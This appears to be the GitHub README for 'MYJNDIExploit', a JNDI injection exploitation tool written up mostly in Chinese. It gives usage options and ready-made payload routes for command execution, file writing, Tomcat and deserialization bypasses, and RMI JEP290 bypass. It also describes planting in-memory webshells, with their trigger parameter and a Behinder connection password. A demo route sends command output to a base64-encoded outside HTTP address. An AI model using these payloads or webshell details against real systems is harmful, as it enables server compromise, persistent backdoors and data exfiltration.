Skip to content

自己的JNDI 利用工具,添加一些人性化功能

Notifications You must be signed in to change notification settings

achuna33/MYJNDIExploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

35 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🌟MYJNDIExploit

絮絮念


这是我一直在用一直更新的一个小工具。不定期更新 (主要看近期有没有学习了......)

使用指南:

Usage: java -jar  MYJNDIExploit1.1.jar [options]
Options:
* -i, --ip       Local ip address
* 
  -l, --ldapPort Ldap bind port (default: 1389)
  
  -p, --httpPort Http bind port (default: 8080)
  
  -u, --usage    Show usage (default: false)
  
  -h, --help     Show this help
  
  -o, --output   out put file

新功能介绍

  • 添加Basic 命令回显 及 文件写入功能

  • 添加反序列化 命令回显 及文件写入

  • 添加tomcat 命令回显

  • 添加动态指定路径class

  • 将序列化生成数据写入文件

  • 添加额外netty 内存马

  • 添加RMI_Bypass_JEP290

修改内存马利用密码:?type=basic&hack=whoami

冰蝎连接: 添加header: User-Agentt 密码:rebeyond 后续会做密码自定义

文件写入 /Basic/PutFile/Path/Content (Path 为Base64, Content 为Base64数据 其中 ‘/’ 用 ‘_]’替换,‘+’用_@_替换)

命令回显 Basic/commandecho/[httplog 回显地址 ]/[command] 
demo:Basic/commandecho/aHR0cDovLzQ3Ljk0LjEzMC54eDo5OTkv/aXBjb25maWc=

tomcat也一样:TomcatBypass/commandecho/aHR0cDovLzQ3Ljk0LjEzMC54eDo5OTkv/aXBjb25maWc=
Deserialization/CommonsCollectionsK1/commandecho/aHR0cDovLzQ3Ljk0LjEzMC54eDo5OTkv/aXBjb25maWc=

内存正向代理:/Basic/filetertunnel

动态指定路径:自定义class 存放在当前jar 同路径里的lib文件内
/Basic/myclass/Exp

即將添加功能

  • 内存马密码可由用户控制

使用详细说明 --> OldReadme.md

About

自己的JNDI 利用工具,添加一些人性化功能

Resources

Stars

Watchers

Forks

Packages

No packages published